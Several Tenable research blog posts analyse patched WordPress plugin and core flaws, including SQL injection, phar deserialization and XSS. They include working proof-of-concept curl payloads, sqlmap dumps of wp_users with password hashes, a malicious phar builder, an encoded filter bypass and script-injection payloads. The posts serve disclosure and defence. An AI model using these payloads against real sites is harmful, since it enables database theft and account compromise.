Normal view

There are new articles available, click to refresh the page.
Before yesterdayTenable TechBlog - Medium

WordPress MyCalendar Plugin — Unauthenticated SQL Injection(CVE-2023–6360)

2 January 2024 at 19:58

WordPress MyCalendar Plugin — Unauthenticated SQL Injection(CVE-2023–6360)

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

In this article, we will analyze an unauthenticated sql injection vulnerability found in the MyCalendar plugin.

This was discovered by Tenable Research while working on web application security.

Reference: https://www.joedolson.com/2023/11/my-calendar-3-4-22-security-release/
Tenable TRA : https://www.tenable.com/security/research/tra-2023-40
Affected Versions: < 3.4.22
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CVSSv3 Score: 8.6

My Calendar does WordPress event management with richly customizable ways to display events. The plugin supports individual event calendars within WordPress Multisite, multiple calendars displayed by categories, locations or author, or simple lists of upcoming events.

Vulnerable Code:

The vulnerability is present in the function my_calendar_get_events() of ./my-calendar-events.php file which is called when a request is made to the function my_calendar_rest_route() of ./my-calendar-api.php file.

Here is the interesting code part, it is quite huge so I just have to keep the interesting part for the article :

// ./my-calendar-events.php
function my_calendar_rest_route( WP_REST_Request $request ) {
$parameters = $request->get_params();
$from = sanitize_text_field( $parameters['from'] );
$to = sanitize_text_field( $parameters['to'] );
[...]

$events = my_calendar_events( $args );

return $events;
}

function my_calendar_events( $args ) {
[...]
$events = my_calendar_get_events( $args );

[...]
}

// ./my-calendar-api.php
function my_calendar_get_events( $args ) {
$from = isset( $args['from'] ) ? $args['from'] : '';
$to = isset( $args['to'] ) ? $args['to'] : '';

[...]

$from = mc_checkdate( $from );
$to = mc_checkdate( $to );
if ( ! $from || ! $to ) {
return array();
}

[...]
WHERE $select_published $select_category $select_location $select_author $select_host $select_access $search
AND ( DATE(occur_begin) BETWEEN '$from 00:00:00' AND '$to 23:59:59'
OR DATE(occur_end) BETWEEN '$from 00:00:00' AND '$to 23:59:59'
OR ( DATE('$from')
[ ...]

return apply_filters( 'mc_filter_events', $arr_events, $args, 'my_calendar_get_events' );
}

When we look at the function in its entirety, the first thing that catches our eye is to see that raw SQL queries without the use of wpdb->prepare() are executed with variables such as from & to which correspond to user inputs.

Looking at the code, can see that mc_checkdate() is called on from & to and if the result is not valid for both, a return is made before executing the SQL query.

Let’s take a closer look at this function :

function mc_checkdate( $date ) {
$time = strtotime( $date ); # <= Is a bool(false). The error is actually here, this is what allows the payload to pass
$m = mc_date( 'n', $time ); # <= eq to 11
$d = mc_date( 'j', $time ); # <= eq to 23 (current day number)
$y = mc_date( 'Y', $time ); # <= eq to 2023

// checkdate is a PHP core function that check the validity of the date
return checkdate( $m, $d, $y ); # <= So this one eq 1
}

*/
function mc_date( $format, $timestamp = false, $offset = true ) {
if ( ! $timestamp ) {
$timestamp = time();
}
if ( $offset ) {
$offset = intval( get_option( 'gmt_offset', 0 ) ) * 60 * 60; # <= No importance for the test, we can leave it at 0
} else {
$offset = 0;
}
$timestamp = $timestamp + $offset;

# So in the end returns the value of gmdate( $format, $timestamp );
return ( '' === $format ) ? $timestamp : gmdate( $format, $timestamp );
}

For simplicity, we can take the vulnerable code locally to observe a more detailed behavior :

This simple error therefore allows our SQL payload to bypass this check and be inserted into the SQL query.

Proof of Concept:

time curl "https://WORDPRESS_INSTANCE/?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)+AND+'a'%3d'a"
{}
real 0m3.068s
user 0m0.006s
sys 0m0.009s

Exploitation:

sqlmap -u "http://192.168.1.27/?rest_route=/my-calendar/v1/events&from=1*" --current-db --dbms=MySQL
___
__H__
___ ___[']_____ ___ ___ {1.7.9#pip}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:48:00 /2023-12-21/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q]

[09:48:02] [INFO] testing connection to the target URL
[...]
[09:48:08] [INFO] URI parameter '#1*' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string="to")
[...]
[09:48:08] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[...]
[09:48:38] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[...]
[09:48:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[09:48:54] [INFO] fetching current database
[09:48:54] [INFO] retrieved: 'wasvwa'
current database: 'wasvwa'

Patch :

For backwards compatibility reasons, the author of the plugin decided to modify the mc_checkdate() function rather than using wpdb->prepare()

function mc_checkdate( $date ) {
$time = strtotime( $date );
$m = mc_date( 'n', $time );
$d = mc_date( 'j', $time );
$y = mc_date( 'Y', $time );

$check = checkdate( $m, $d, $y );
if ( $check ) {
return mc_date( 'Y-m-d', $time, false );
}

return false;
}

Adding this additional check is sufficient to correct the vulnerability.


WordPress MyCalendar Plugin — Unauthenticated SQL Injection(CVE-2023–6360) was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

WordPress BuddyForms Plugin — Unauthenticated Insecure Deserialization (CVE-2023–26326)

WordPress BuddyForms Plugin — Unauthenticated Insecure Deserialization (CVE-2023–26326)

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

In this article, we will analyze an unauthenticated insecure deserialization vulnerability found in the in the BuddyForm plugin.

Reference: https://wordpress.org/plugins/buddyforms/
Affected Versions: < 2.7.8
CVSSv3 Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.1

BuddyForms is a simple drag and drop form builder with ready to use form templates that give you all the form types with on click.

In the vulnerable versions, the problem lies in the ‘buddyforms_upload_image_from_url()’ function of the ‘./includes/functions.php’ file

function buddyforms_upload_image_from_url() {
$url = isset( $_REQUEST['url'] ) ? wp_kses_post( wp_unslash( $_REQUEST['url'] ) ) : '';
$file_id = isset( $_REQUEST['id'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['id'] ) ) : '';
$accepted_files = isset( $_REQUEST['accepted_files'] ) ? explode( ',', buddyforms_sanitize( '', wp_unslash( $_REQUEST['accepted_files'] ) ) ) : array( 'jpeg' );

if ( ! empty( $url ) && ! empty( $file_id ) ) {
$upload_dir = wp_upload_dir();
$image_url = urldecode( $url );
$image_data = file_get_contents( $image_url ); // Get image data
$image_data_information = getimagesize( $image_url );
$image_mime_information = $image_data_information['mime'];

if ( ! in_array( $image_mime_information, $accepted_files ) ) {
echo wp_json_encode(
array(
'status' => 'FAILED',
'response' => __(
'File type ' . $image_mime_information . ' is not allowed.',
'budduforms'
),
)
);
die();
}

if ( $image_data && $image_data_information ) {
$file_name = $file_id . '.png';
$full_path = wp_normalize_path( $upload_dir['path'] . DIRECTORY_SEPARATOR . $file_name );
$upload_file = wp_upload_bits( $file_name, null, $image_data );
if ( ! $upload_file['error'] ) {
$wp_filetype = wp_check_filetype( $file_name, null );
$attachment = array(
'post_mime_type' => $wp_filetype['type'],
'post_title' => preg_replace( '/\.[^.]+$/', '', $file_name ),
'post_content' => '',
'post_status' => 'inherit',
);
$attachment_id = wp_insert_attachment( $attachment, $upload_file['file'] );
$url = wp_get_attachment_thumb_url( $attachment_id );
echo wp_json_encode(
array(
'status' => 'OK',
'response' => $url,
'attachment_id' => $attachment_id,
)
);
die();
}

[...]
}

This function has several problems that allow to perform an insecure deserialization in several steps.

  1. The ‘url’ parameter’ accept an arbitrary value, no verification is done
  2. The ‘accepted_files’ parameter can be added to the request to specify an arbitrary mime type which allows to bypass the mime verification type
  3. The PHP function ‘getimagesize()’ is used, this function does not check the file and therefore assumes that it is an image that is passed to it. However, if a non-image file is supplied, it may be incorrectly detected as an image and the function will successfully return
  4. The PHP function ‘file_get_contents()’ is used without any prior check. This function allows the use of the ‘phar://’ wrapper. The Phar (PHP Archive) files contain metadata in serialized format, so when they are parsed, this metadata is deserialized.

If all conditions are met, the file is downloaded and stored on the server and the URL of the image is returned to the user.

The exploitation of this vulnerability is based on 3 steps

  1. Create a malicious phar file by making it look like an image.
  2. Send the malicious phar file on the server
  3. Call the file with the ‘phar://’ wrapper.

The main difficulty in exploiting this vulnerability is to find a gadget chain. There are several known gadgets chain for WordPress but they are no longer valid on the latest versions.

The plugin itself does not seem to contain any gadget chain either. So, in order to trigger the vulnerability we will simulate the presence of a plugin allowing the exploitation.

So we can add a fake WordPress extension named “dummy”, which contains only a file “dummy.php” with the following code :

<?php
/*
Plugin Name: Dummy
*/

class Evil {
public function __wakeup() : void {
die("Arbitrary deserialization");
}
}

function display_hello_world() {
echo "Hello World";
}

add_action('wp_footer', 'display_hello_world');

Proof Of Concept

The first step of our exploitation is to create our malicious phar archive which will have to pretend to be an image :

<?php

class Evil{
public function __wakeup() : void {
die("Arbitrary Deserialization");
}
}


//create new Phar
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("GIF89a\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new Evil();
$phar->setMetadata($object);
$phar->stopBuffering();

Note the presence of ‘GIF89a’ which will make the plugin believe that our file is a GIF image

root@vmi652687:/tmp# php --define phar.readonly=0 evil.php
root@vmi652687:/tmp# strings evil.phar
GIF89a
<?php __HALT_COMPILER(); ?>
O:4:"Evil":0:{}
test.txt
text
WJFP5
GBMB

So as a reminder, our WordPress installation has two plugins, BuddyForms as well as our ‘dummy’ plugin which simulates a vulnerable plugin allowing a gadget chain

We send our file to the server via a POST request containing the correct parameters expected by the function described above

The server answers OK and tells us that the file is available at the URL http://domain.tld/wp-content/uploads/2023/02/1.png which can be checked by opening the corresponding folder in your browser

So we just have to do the same action again, except that this time we will use the phar:// wrapper in the URL and indicate the path of our file.

By chance, the structure of wordpress folders is always the same, you just have to go up one folder to access wp-content. So, it is possible to use the relative path to our file stored on the server

And voila, we managed to trigger an arbitrary deserialization

As sometimes a picture is worth a thousand words, here is a diagram that summarizes the explanation

The fix

In version 2.7.8, the author has made a simple fix, just check if the ‘phar://’ wrapper is used

if ( strpos( $valid_url, 'phar://' ) !== false ) {
return;
}

In my opinion, this correction seems insufficient because the downloaded file is still not verified, it would still be possible to exploit the vulnerability if another plugin allows to call an arbitrary file.

[EDIT] : Jesús Calderón identified a bypass for this fix. The check added, does not check that the value of ‘$valid_url’ is decoded
So, is possible to use the following payload :

phar%253a%252f%252f..%252fwp-content%252fuploads%252f2023%252f03%252fpayload.phar

WordPress BuddyForms Plugin — Unauthenticated Insecure Deserialization (CVE-2023–26326) was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Multiples WordPress plugins CVE analysis

24 January 2023 at 20:09
https://www.bleepingcomputer.com/news/security/poc-exploits-released-for-critical-bugs-in-popular-wordpress-plugins/
https://www.bleepingcomputer.com/news/security/poc-exploits-released-for-critical-bugs-in-popular-wordpress-plugins/

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

In this article, we will analyze several vulnerabilities found in different WordPress plugins :

CVE-2023–23488 : Paid Memberships Pro < 2.9.8 — Unauthenticated SQL Injection

Reference: https://wordpress.org/plugins/paid-memberships-pro
Affected Versions: < 2.9.8
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 9.8

Paid Memberships Pro gives you all the tools you need to start, manage, and grow your membership site. The plugin is designed for premium content sites, online course or LMS and training-based memberships, clubs and associations, members-only product discount sites, subscription box products, paid newsletters, and more.

The plugin does not escape the ‘code’ parameter in one of its REST route (available to unauthenticated users) before using it in a SQL statement, leading to a SQL injection.

Vulnerable Code:

This vulnerability is present in the ‘./classes/class.memberorder.php’

/*
Returns the order using the given order code.
*/
function getMemberOrderByCode($code)
{
global $wpdb;
$id = $wpdb->get_var("SELECT id FROM $wpdb->pmpro_membership_orders WHERE code = '" . $code . "' LIMIT 1");
if($id)
return $this->getMemberOrderByID($id);
else
return false;
}

The ‘$code’ parameter is inserted into the SQL query without cleaning it first or using “$wpdb->prepare” which permit to prepares a SQL query for safe execution.

Proof of Concept:

time curl "http://TARGET_HOST/?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(1)))a)--%20-"
{}
real 0m3.068s
user 0m0.006s
sys 0m0.009s
CVE-2023–23488

Exploitation:

# sqlmap -u "http://192.168.1.12/?rest_route=/pmpro/v1/order&code=a*" --dbms=MySQL -dump -T wp_users

[...]
---
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://192.168.1.12:80/?rest_route=/pmpro/v1/order&code=a' AND (SELECT 2555 FROM (SELECT(SLEEP(5)))BnSC) AND 'SsRo'='SsRo
---
[15:23:35] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[15:23:51] [INFO] confirming MySQL
[15:23:51] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[15:24:21] [INFO] adjusting time delay to 1 second due to good response times
[15:24:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[...]
[15:24:21] [INFO] fetching columns for table 'wp_users' in database 'wasvwa'
[...]
[15:36:26] [INFO] retrieved: admin
[15:37:09] [INFO] retrieved:
[15:37:09] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[15:37:09] [INFO] retrieved: [email protected]
[15:39:06] [INFO] retrieved: admin
[15:39:49] [INFO] retrieved: admin
[15:40:32] [INFO] retrieved: $P$BPEJq1QWmIm.EEKtbgj/ogVzxGPV4I/

CVE-2023–23489 : Easy Digital Downloads 3.1.0.2 & 3.1.0.3 — Unauthenticated SQL Injection

Reference: https://wordpress.org/plugins/easy-digital-downloads/
Affected Versions: 3.1.0.2 & 3.1.0.3
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 9.8

Easy Digital Downloads is a complete eCommerce solution for selling digital products on WordPress.

The plugin does not escape the ‘s’ parameter in one of its ajax actions before using it in a SQL statement, leading to a SQL injection.

Vulnerable Code:

The vulnerable part of the code corresponds to the ‘edd_ajax_download_search()’ function of the ‘./includes/ajax-functions.php’ file

function edd_ajax_download_search() {
// We store the last search in a transient for 30 seconds. This _might_
// result in a race condition if 2 users are looking at the exact same time,
// but we'll worry about that later if that situation ever happens.
$args = get_transient( 'edd_download_search' );

// Parse args
$search = wp_parse_args( (array) $args, array(
'text' => '',
'results' => array()
) );

// Get the search string
$new_search = isset( $_GET['s'] )
? sanitize_text_field( $_GET['s'] )
: '';

[...]
// Default query arguments
$args = array(
'orderby' => 'title',
'order' => 'ASC',
'post_type' => 'download',
'posts_per_page' => 50,
'post_status' => implode( ',', $status ), // String
'post__not_in' => $excludes, // Array
'edd_search' => $new_search, // String
'suppress_filters' => false,
);
[...]

// Get downloads
$items = get_posts( $args );

[...]
}

Contrary to what one might think, the use of ‘sanitize_text_field()’ does not protect against SQL injections, this core function is in charge of

  • Checks for invalid UTF-8
  • Converts single < characters to entities
  • Strips all tags
  • Removes line breaks, tabs, and extra whitespace
  • Strips octets

The value of parameter ‘s’ is added to the variable ‘$args’ which is an array used in the call to the WordPress Core function ‘get_posts()’.

// File wp-includes/post.php
// This core function performs the SQL query but does not apply any filtering

function get_posts( $args = null ) {

[...]

$get_posts = new WP_Query;
return $get_posts->query( $parsed_args );

}

Although get_posts() is a WordPress Core function, it is not recommended because get_posts bypasses some filter. See 10up Engineering Best Practices

Proof of Concept:
Note: The same SQL injection/unique request will not work twice in a row right away, as the ‘edd_ajax_download_search()’ function stores the most recent search for 30 seconds (so to run the same payload again, you will have to modify the payload slightly or wait 30 seconds).

time curl "http://TARGET_HOST/wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)--+-"
{}
real 0m2.062s
user 0m0.006s
sys 0m0.009s
CVE-2023–23489
CVE-2023–23489

CVE-2023–23490 : Survey Maker Authenticated SQL Injection

Reference: https://wordpress.org/plugins/survey-maker
Affected Versions: < 3.1.2
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8

WordPress Survey plugin is a powerful, yet easy-to-use WordPress plugin designed for collecting data from a particular group of people and analyze it. You just need to write a list of questions, configure the settings, save and paste the shortcode of the survey into your website.

The plugin does not escape the ‘surveys_ids’ parameter in the ‘ays_surveys_export_json’ action before using it in a SQL statement, leading to an authenticated SQL injection vulnerability.

The vulnerability requires the attacker to be authenticated but does not require administrator privileges, the following example uses an account with the ‘subscriber’ privilege level.

Subscribers have the fewest permissions and capabilities of all the WordPress roles. It is the default user role set for new registrations.

Vulnerable Code:

public function ays_surveys_export_json() {
global $wpdb;

$surveys_ids = isset($_REQUEST['surveys_ids']) ? array_map( 'sanitize_text_field', $_REQUEST['surveys_ids'] ) : array();
[...]

if(empty($surveys_ids)){
$where = '';
}else{
$where = " WHERE id IN (". implode(',', $surveys_ids) .") ";
}

[...]

$sql_surveys = "SELECT * FROM ".$surveys_table.$where;
$surveys = $wpdb->get_results($sql_surveys, 'ARRAY_A');
[...]
}

The part of the vulnerable code corresponds to the ‘ays_surveys_export_json()’ function of the ‘./admin/class-survey-maker-admin.php’ file.

The request is executed without having used $wpdb->prepare() first

Proof of Concept:

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php" --header "$WP_COOKIE" --data "action=ays_surveys_export_json&surveys_ids[0]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(3)))a)--+-"
{}
real 0m3.056s
user 0m0.006s
sys 0m0.009s
CVE-2023–23490
CVE-2023–23490

Exploitation:

The vulnerability can also be exploited in error based which facilitates the extraction of data via a tool such as SQLmap

# sqlmap -u "http://192.168.1.12/wp-admin/admin-ajax.php" --cookie="wordpress_e38c3ed8043e3ddf7aa8d7615bce358e=subscriber%7C1674054590%7Cg9hsFPDo9po0OPeS4HN1MuwSbOe3rJ5Y3zunH2z9RD6%7C96429535ce78881cd6f4f4d5c8213b64d75266a7731e3e4d7975f63591d3b3a2" --data="action=ays_surveys_export_json&surveys_ids[0]=1" -p 'surveys_ids[0]' --technique E --dump -T wp_users

[...]
Database: wasvwa
Table: wp_users
[2 entries]
+----+---------------------+------------------------------------+--------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
+----+---------------------+------------------------------------+--------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1 | http://192.168.1.12 | $P$BPEJq1QWmIm.EEKtbgj/ogVzxGPV4I/ | [email protected] | admin | 0 | admin | admin | 2023-01-16 13:27:28 | <blank> |
| 2 | <blank> | $P$Bo.y4/hfFQWGXUBKrDxivIJImGYEXM. | [email protected] | subscriber | 0 | subscriber | subscriber | 2023-01-16 13:27:39 | <blank> |
+----+---------------------+------------------------------------+--------------------+------------+-------------+--------------+---------------+---------------------+--------------------

CVE-2023–23491 : Quick Event Manager < 9.7.5 Unauthenticated Reflected Cross-Site Scripting

Reference: https://wordpress.org/plugins/quick-event-manager/
Affected Versions: < 9.7.5
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVSSv3 Score: 6.1

A quick and easy to use event creator. Just add new events and publish. The shortcode lists all the events.

The plugin uses the value of the ‘category’ parameter in the response without prior filtering. The vulnerability does not require authentication to be exploited.

Vulnerable Code:

The vulnerable code is present in the function ‘qem_show_calendar()’ of the file ‘legacy/quick-event-manager.php’

// Builds the calendar page
function qem_show_calendar( $atts )
{
global $qem_calendars ;

[...]

$category = '';

[...]

if ( isset( $_REQUEST['category'] ) ) {
$category = $_REQUEST['category'];
}
[...]

$calendar .= "\r\n<script type='text/javascript'>\r\n";
$calendar .= "\tqem_calendar_atts[{$c}] = " . json_encode( $atts ) . ";\r\n";
$calendar .= "\tqem_month[{$c}] = {$currentmonth};\r\n";
$calendar .= "\tqem_year[{$c}] = {$currentyear};\r\n";
$calendar .= "\tqem_category[{$c}] = '{$category}';\r\n";
$calendar .= "</script>\r\n";

[...]

return $calendar . "</div>";
}

It’s possible to use the following payload which is reflected in the HTML :

</script><script>alert(1)</script>

Although the value is inserted in a Javascript variable between simple quotes and it does not seem possible to escape it, the first closing tag ‘</script>’ will have priority in the HTML of the page despite being in a string and allows escaping the context in order to inject arbitrary Javascript code.

Proof of Concept:

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=</script><script>alert(1)</script>&qemyear=a
CVE-2023–23491
CVE-2023–23491
<div class="qem_calendar" id="qem_calendar_0"><a name="qem_calreload"></a>
<script type='text/javascript'>
qem_calendar_atts[0] = [];
qem_month[0] = 1;
qem_year[0] = ;
qem_category[0] = '</script><script>alert(1)</script>';
</script>

CVE-2023–23492 : Login With Form Number < 1.4.2 Unauthenticated Reflected Cross-Site Scripting

Reference: https://wordpress.org/plugins/quick-event-manager/
Affected Versions: < 1.4.2
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVSSv3 Score: 6.1

A quick and easy to use event creator. Just add new events and publish. The shortcode lists all the events.

The ‘ID’ parameter of the ‘lwp_forgot_password’ action is used in the response without any filtering leading to an reflected XSS. Although the response is encoded in JSON, the Content-Type of the response is text/html which allows the exploitation of the vulnerability. This vulnerability is present in the ‘./login-with-phonenumber.php’ file in the ‘lwp_forgot_password()’ function.

Vulnerable Code:

Although the response is encoded in JSON, the Content-Type of the response is text/html which allows the exploitation of the vulnerability

function lwp_forgot_password()
{
$log = '';
if ($_GET['email'] != '' && $_GET['ID']) {
$log = $this->lwp_generate_token($_GET['ID'], $_GET['email'], true);

}

if ($_GET['phone_number'] != '' && $_GET['ID'] != '') {
$log = $this->lwp_generate_token($_GET['ID'], $_GET['phone_number']);
}

update_user_meta($_GET['ID'], 'updatedPass', '0');

echo json_encode([
'success' => true,
'ID' => $_GET['ID'],
'log' => $log,
'message' => __('Update password', $this->textdomain)
]);
}

Proof of Concept:

curl "http://$TARGET_HOST/wp-admin/admin-ajax.php?action=lwp_forgot_password&ID=<svg%20onload=alert(1)>
CVE-2023–23492
CVE-2023–23492
{"success": true, "ID":"<svg onload=alert(1)>", "log":"", "message:" "Update password"}

Multiples WordPress plugins CVE analysis was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Wordpress 6.0.3 Patch Analysis

31 October 2022 at 11:12

Summary

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

WordPress version 6.0.3 was released on 17 October 2022. As it is a security release, it contains only security patches for multiple vulnerabilities. Rémy Marot and I have analyzed some of these patches and this article focuses on three of these patches.

Stored XSS in WordPress Core via Comment Editing

Wordpress is an OpenSource software, and its code is available on Github. A Github feature allows us to compare the differences between two branches: 6.0.2 and 6.0.3.

The modifications are not too important and the commits / modifications messages are explicit enough to associate a commit to a fix :

https://github.com/WordPress/WordPress/commit/40f6e7e89fb72179fb3d3a2665485ca2e0763184

With the following information:

  • Vulnerability name: “Stored XSS in WordPress Core via Comment Editing
  • Commit message: “Comments: Apply kses when editing comments.
  • The modified file: “wp-includes/comment.php

It is understandable that comment editing enables stored XSS in Wordpress.

The default Wordpress installation contains a demo “Hello World” article that also contains a comment:

WordPress default homepage

Simply edit the comment with a user having one of the following privileges :

  • Administrator
  • Editor

Because these are the only privileges that have the necessary “unfiltered_html” capabilities to inject HTML code.

Insert a payload such as “<svg onload=alert(1)>” in the comment :

WordPress comment edition

This executes the payload directly on the page of the article where the comment appeared :

XSS payload Execution

An unauthenticated user can exploit this vulnerability with editor or administrator privileges.
Version 6.0.3 fixes this vulnerability by stripping the payload through “add_filter” function :

Sender’s email address is exposed in wp-mail.php & Stored XSS via wp-mail.php

As for the previously described vulnerability, we can continue to associate commits to vulnerabilities.

https://github.com/WordPress/WordPress/commit/4167f814bc8cb1831fb9f1611e941ddb25ef5aab
https://github.com/WordPress/WordPress/commit/cb9fadb9f34fc05ab78d1c9ca2b31a4d352ba871

To give some context to this vulnerability, you should know that it is possible to post articles on WordPress by email.

The principle is simple: you configure WordPress to access a specific email address via the POP protocol. When a user sends an email to the configured address, WordPress automatically creates an article with the subject of the email as the article title and the body of the email as its content.

This feature doesn’t seem to be used often, at least without an additional plugin. The first step is to configure the “Post by Email” feature in the administration interface :

WordPress “Post via Email” configuration panel

Once configured, it is possible to access the page http://wordpress/wp-mail.php even without authentication. Accessing this page triggers the mail harvesting function and display a summary, which also has the effect of leaking the sender’s email.

/wp-mail.php

Once the harvesting task completes, Wordpress automatically creates posts according to the following conditions:

  • If a user is associated with the sender’s email, the post will be created
    - If the user has the necessary privileges, the post will be automatically published. If not, the post will be pending
  • Otherwise the article is created with the admin user but it remains pending

The payload automatically executes on the page of the article or on the homepage of the blog if the article appears there.

An unauthenticated user can exploit this vulnerability, but it still requires them to know the email used for the publications.

Version 6.0.3 fixes this vulnerability by removing the display of the sender in the “wp-mail.php” page and by not creating the post if it contains a payload.


Wordpress 6.0.3 Patch Analysis was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

❌
❌